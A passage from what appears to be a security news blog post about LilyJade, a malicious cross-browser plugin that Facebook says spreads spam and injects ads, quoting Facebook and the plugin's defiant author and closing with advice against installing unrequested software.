“Plugins such as LilyJade are configured to modify our [site] to inject ads and/or send spam through Facebook to the victim’s friends via wall posts and chat messages,” said Fred Wolens, public policy manager at Facebook. “These alterations materially change people’s Facebook experience and bypass Facebook’s quality and security controls. Additionally, programs like LilyJade can make Facebook slower, cause user confusion and can obfuscate authenticate user content by displaying banner ads.”

In a follow-up instant message conversation, Mundorff indicated that he has no intention of bowing to Facebook’s demands.

“I pretty much told them to go fuck themselves cause we cant post on anyones [sic] walls with out there [sic] permissions automated or not,” Mundorff said. “So they can go to hell.”

It remains to be seen who will prevail in this now-public battle (which according to Mundorff has since caught the interest of the anarchic hacker collective Anonymous). I wanted to call attention to this topic because I believe LilyJade is likely the precursor to a stream of malicious cross-browser plugins that we can expect in the coming months and years.

Plugin based threats seem to be especially pernicious because they work seamlessly across multiple operating systems and browsers, and are unlikely to be detected as malicious by antivirus software. What’s more, writing malicious plugins for different browsers has never been easier: Kango, an up-and-coming cross-browser plugin development environment that’s competing with Crossrider, supports plugins on even more browsers, including Opera and Safari.

The purpose of this post is not to cause alarm about legitimate development platforms like Crossrider and Kango, or even to dissuade people from using Facebook. It’s also true that rogue browser plugins are hardly a new problem, and that they can spread just as easily on Facebook as on Twitter, Pinterest or any other community where millions of users gather to share information. Rather, I wanted to remind readers that while modern malware can take many forms, it most often succeeds because computer users agree to install it in one form or another.

When in doubt, always consider Rule #1 from Krebs’s 3 Basic Rules for Online Safety: “If you didn’t go looking for it, don’t install it!” Religiously observing this advice will likely keep you safe from a huge percentage of the malware threats out there today.